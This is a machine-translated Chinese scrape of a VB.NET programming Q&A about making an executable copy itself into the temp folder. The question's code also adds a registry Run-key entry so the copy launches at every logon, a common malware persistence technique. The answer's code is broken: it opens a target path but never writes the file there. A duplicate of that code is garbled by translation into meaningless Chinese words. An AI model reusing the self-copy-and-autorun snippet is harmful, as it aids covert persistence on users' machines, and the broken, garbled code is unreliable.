Vb.net 程序自动复制到特定路径

Vb.net 程序自动复制到特定路径,vb.net,vb.net-2010,Vb.net,Vb.net 2010,我想让我的程序复制自己在一个特定的地方,但我可以复制外部文件我想让程序复制自己在一个特定的地方,如温度 比如说 它从application.startuppath()t)复制自身,桌面给出错误(无法转换为一维数组 Dim temp As String = IO.Path.GetTempPath() & "test.exe" Dim kurd As String = Application.ExecutablePath IO.File.WriteAllBy

我想让我的程序复制自己在一个特定的地方,但我可以复制外部文件我想让程序复制自己在一个特定的地方,如温度

比如说 它从
application.startuppath()
t)复制自身,桌面给出错误(无法转换为一维数组

Dim temp As String = IO.Path.GetTempPath() & "test.exe"
        Dim kurd As String = Application.ExecutablePath

        IO.File.WriteAllBytes(temp, kurd)
        My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "test", "C:\Windows\Temp\test.exe")
我想要VB.Net中的工作代码,我解决了你的问题

您必须做的第一件事是:将应用程序EXE文件添加到资源中,然后在应用程序中键入此代码以将EXE文件从资源复制到特定路径

将“EXE”文件添加到资源:

添加此代码:

    Dim temp As String = IO.Path.GetTempPath() & "MyESS.exe"
    Dim MyESS As String
    File.WriteAllBytes(temp, My.Resources.MyESS)
    FileOpen(1, temp, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
    MyESS = Space(LOF(1))
    FileGet(1, MyESS)
    FileClose(1)
    FileOpen(1, "C:\Program Files(x86)\MyESS.exe <or any specific path>", OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
    FileClose(1)
Dim temp As String=IO.Path.GetTempPath()&“MyESS.exe”
像绳子一样暗淡
File.writealBytes(temp,My.Resources.MyESS)
FileOpen(1,temp,OpenMode.Binary,OpenAccess.Read,OpenShare.Default)
MyESS=空间(LOF(1))
FileGet(1,MyESS)
文件关闭(1)
FileOpen(1,“C:\Program Files(x86)\MyESS.exe”、OpenMode.Binary、OpenAccess.ReadWrite、OpenShare.Default)
文件关闭(1)
我希望代码对您有用